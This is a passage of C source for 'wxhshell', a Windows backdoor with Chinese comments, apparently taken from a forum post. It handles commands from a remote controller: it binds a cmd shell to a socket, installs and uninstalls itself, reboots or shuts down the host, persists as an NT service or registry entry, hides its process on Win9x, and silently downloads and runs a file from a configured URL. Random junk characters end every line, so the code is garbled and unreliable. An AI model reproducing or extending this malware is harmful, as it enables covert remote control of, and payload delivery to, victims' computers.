  case '?': { O^3XhTW^\~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q} -YD.bx3  
    break; J0t_wM Ja  
  } O_DT7;g  
  // 安装 3]&le[.  
  case 'i': { xaq/L:I<  
    if(Install()) |b!Bb<5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k~QmDq  
    else ZpwFC7LW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NR^3 1&}It  
    break; !xU\s'I+#  
    } 530Kk<%^}8  
  // 卸载 A#F6~QX(.9  
  case 'r': { BG1hk!  
    if(Uninstall()) 7VLn$q]:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6>b#nFVJ  
    else qE6D"+1y7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ftV~!r  
    break; k/Q8:qA  
    } OskQ[ e0  
  // 显示 wxhshell 所在路径 MiMDEe%f%  
  case 'p': { @G|z _  
    char svExeFile[MAX_PATH]; 5E${  
    strcpy(svExeFile,"\n\r"); BMn`t@!x  
      strcat(svExeFile,ExeFile); 0/~{,  
        send(wsh,svExeFile,strlen(svExeFile),0); 'SWK{t \4  
    break;  "'Q~&B;@  
    } r;"Qu  
  // 重启 dZC jg0cx  
  case 'b': { :4Y 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zpcO7AY~  
    if(Boot(REBOOT)) #Xi9O.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?]_A~_J!  
    else { TO/SiOd  
    closesocket(wsh); Jg6@)<n  
    ExitThread(0); hdbm8C3  
    } d(,M  
    break; xr^fP~V|)0  
    } hz-^9U  
  // 关机 pO N@  
  case 'd': { 87R$Y> V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c <X( S  
    if(Boot(SHUTDOWN)) oe=W}y_k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G~f|Sx  
    else { VE^IA\J x  
    closesocket(wsh); k !g%vx  
    ExitThread(0); t2FA|UF  
    } aBKJd  
    break; <07~EP  
    } kM7 6?M  
  // 获取shell |u[@g`Z  
  case 's': { <t,lq  
    CmdShell(wsh); CmtDfE  
    closesocket(wsh); R`%O=S*]  
    ExitThread(0); xv_Z$&9e>l  
    break; rpL]5e!  
  } b Kr73S9  
  // 退出 p<Vj<6.=?  
  case 'x': { p7,dl*'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2'}/aL|G  
    CloseIt(wsh); ]q|U0(q9  
    break; w(q\75  
    } 6I\4Yv$N  
  // 离开 |bk$VT4\  
  case 'q': { 0He^r &c3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  o^x,JT  
    closesocket(wsh); 9gETWz(3I  
    WSACleanup(); .:Zb~  
    exit(1); e @|uG%  
    break; 'c$)}R I7  
        } C=DC g  
  } FivqyT7i  
  } ^7Z.~A y  
7"Q;Yi2(  
  // 提示信息 >2#F5c67  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >8gb/?z  
} }J_#N.y  
  } Mu$"fYKf"  
(q=),3/<pU  
  return; 2Gn26L 5  
} DxG8`}+  
&xS] ;Fr  
// shell模块句柄 W9jxw4)  
int CmdShell(SOCKET sock) 'I@l$H  
{ N?c!uO|h|  
STARTUPINFO si; >'&|{s[m  
ZeroMemory(&si,sizeof(si)); g 4lk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +\25ynM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p u[S  
PROCESS_INFORMATION ProcessInfo; ~lr,}K,  
char cmdline[]="cmd"; OTWp,$YA=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P u,JR  
  return 0; %kV #UzL  
} MJy(B><  
_kUtj(re  
// 自身启动模式 BSyS DM  
int StartFromService(void) @ gjA8mL  
{ ?GeMD /]  
typedef struct ; r95i1a'  
{ 0!q@b  
  DWORD ExitStatus; mh,a}bX{  
  DWORD PebBaseAddress; }k_'a^;C1  
  DWORD AffinityMask; \y+@mJWa  
  DWORD BasePriority; ZO]P9b  
  ULONG UniqueProcessId; =8Gpov1!V~  
  ULONG InheritedFromUniqueProcessId; $SdpF-'  
}   PROCESS_BASIC_INFORMATION; B<&g  
$[+)N ~  
PROCNTQSIP NtQueryInformationProcess; 4 Xe8j55  
.hK:-q,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C\}M_MD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ [%K D  
?~tx@k$;Es  
  HANDLE             hProcess; :rEZR`  
  PROCESS_BASIC_INFORMATION pbi; z#/"5 l   
E>bpq ^;r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O@`KG ZEPY  
  if(NULL == hInst ) return 0; #F'8vf'r  
)Qh*@=$-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }[SYWJIc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \-r"%@OkW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .T#}3C/  
`a9iq>   
  if (!NtQueryInformationProcess) return 0; Ceew~n{  
G@scz!Nt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \/R $p  
  if(!hProcess) return 0; H}g p`YW:4  
D|IS@gWa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q 6dqFnz  
!JA//{?  
  CloseHandle(hProcess); Nu@dMG<5  
$ U-#woXa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1Hs'YzvY  
if(hProcess==NULL) return 0; gPIl:, d(  
%#E$wz  
HMODULE hMod; W>&!~9H  
char procName[255]; q$'[&&_  
unsigned long cbNeeded; Z=(Tq1t  
Hd_,`W@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #{@qC2!2/  
xMFEeSzl>S  
  CloseHandle(hProcess); _=HNcpDA;0  
 C~T*Wlk  
if(strstr(procName,"services")) return 1; // 以服务启动 >S]"-0tGD=  
g1~wg$`S8S  
  return 0; // 注册表启动 |g1Pr9{wy  
} ':]Hj8t_  
b;5 M$  
// 主模块 g9j&\+h^  
int StartWxhshell(LPSTR lpCmdLine) LR3>_t  
{ JthU' "K  
  SOCKET wsl; ' 1X^@]+6  
BOOL val=TRUE; 1,+swFSN  
  int port=0; \s7/`  
  struct sockaddr_in door; T9uOOI  
?nZe.z-%6  
  if(wscfg.ws_autoins) Install(); NKl`IiGv  
#x \YA#~  
port=atoi(lpCmdLine); Cng_*\=O  
aI 1tG  
if(port<=0) port=wscfg.ws_port; gObafIA  
Xq}}T%jcd  
  WSADATA data;  2.'hr/.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z=Xh  
MhIHfW]b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (,b\"Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K9 +\Z  
  door.sin_family = AF_INET; hx ^l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L.8`5<ITw  
  door.sin_port = htons(port); ,h<x Y>  
3Pvz57z{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U^]@0vR  
closesocket(wsl); YKzfI9Y  
return 1; ~zVe?(W  
} \{v-Xe&d^  
U65oh8x  
  if(listen(wsl,2) == INVALID_SOCKET) { ay]l\d2!3  
closesocket(wsl); ?} lqu7S  
return 1; G!lF5;Ad`  
} a*uG^~ ).  
  Wxhshell(wsl); t:b}Mo0  
  WSACleanup(); uzh TNf  
w:x[ kA  
return 0; 4j(`koX_  
M>xT\  
} G++<r7;x  
tJmy}.t1  
// 以NT服务方式启动 `26.+>Z7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $-]I?cWlQ  
{ E&f/*V^  
DWORD   status = 0; 8C@6 b4VK  
  DWORD   specificError = 0xfffffff; 7spZe"  
g |H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [z!pm-Ir  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (LJ7xoJ^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z[>fFg~N4  
  serviceStatus.dwWin32ExitCode     = 0; HDaeJk  
  serviceStatus.dwServiceSpecificExitCode = 0; oTrit_@3  
  serviceStatus.dwCheckPoint       = 0; z[K)0@8 6  
  serviceStatus.dwWaitHint       = 0;  cp0yr:~  
Q$sC%P(y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0.2stBw  
  if (hServiceStatusHandle==0) return; #g'j0N  
fIJX5)D  
status = GetLastError(); ^E.mG>  
  if (status!=NO_ERROR) .zTkOk L  
{ FR>[ g`1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D1@yW} 4  
    serviceStatus.dwCheckPoint       = 0; C|[x],JCS  
    serviceStatus.dwWaitHint       = 0; o-JB,^TE  
    serviceStatus.dwWin32ExitCode     = status; v=Q!ioE7  
    serviceStatus.dwServiceSpecificExitCode = specificError; v*c"SI=@M=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  J%T=FU  
    return; b"nkF\P@Fj  
  } IZ87Px>zL  
<N>7.G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mpco8b-b  
  serviceStatus.dwCheckPoint       = 0; S!b?pl  
  serviceStatus.dwWaitHint       = 0; &N]e pV>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ei"c|/pO  
} EBiLe;=X  
%oWG"u  
// 处理NT服务事件,比如:启动、停止 t=|}?lN<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |WSpWsr,  
{ %9J:TH9E)  
switch(fdwControl) Db;>MWt+e  
{ W; os4'h$  
case SERVICE_CONTROL_STOP: f2&6NC;  
  serviceStatus.dwWin32ExitCode = 0; 2##mVEo.(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xxr'g =  
  serviceStatus.dwCheckPoint   = 0; (bpRX$is  
  serviceStatus.dwWaitHint     = 0; 0)7v _|z  
  { 9U4[o<G]=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] w0Y5H "  
  } NeP  
  return; aof'shS8  
case SERVICE_CONTROL_PAUSE: Gm\)1b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _8-T?j**   
  break; O(v>\MV  
case SERVICE_CONTROL_CONTINUE: Qr7|;l3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BUV4L5(  
  break; 3<N2ehi?  
case SERVICE_CONTROL_INTERROGATE: DY{v@ <3  
  break; adRIg:2  
}; hl] y):  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I+SfZ:q ^  
} UEt78eN  
;b. m X  
// 标准应用程序主函数 r!w*y3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t F 7u-  
{ V~Z)^.6  
r`.Bj0  
// 获取操作系统版本 qh&q <M  
OsIsNt=GetOsVer(); F 9d6#~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %s9*?6  
1 3)6p|6x  
  // 从命令行安装 M?Q\ Hw  
  if(strpbrk(lpCmdLine,"iI")) Install(); j 9GKz1  
)8'v@8;-  
  // 下载执行文件 1zw,;m n  
if(wscfg.ws_downexe) { y4aT-^C'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mG\9Qkom|  
  WinExec(wscfg.ws_filenam,SW_HIDE); <P&X0S`O  
} ' V*}d  
?I:_FT  
if(!OsIsNt) { DMs8B&Y=  
// 如果时win9x,隐藏进程并且设置为注册表启动 rj4Mq:pJ  
HideProc(); Pth4_]US  
StartWxhshell(lpCmdLine); ygX!'evY  
} 6#Y]^%?uy  
else qW|h"9sr  
  if(StartFromService()) E[=&6T4  
  // 以服务方式启动 4 >H0a  
  StartServiceCtrlDispatcher(DispatchTable); 3RxR'M1  
else &gJ@"`r4  
  // 普通方式启动 nD)SR  
  StartWxhshell(lpCmdLine); WE_'u+!B  
8wZ $Hq  
return 0; B# .xs>{N  
}
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只看该作者 1 发表于: 2006-10-10
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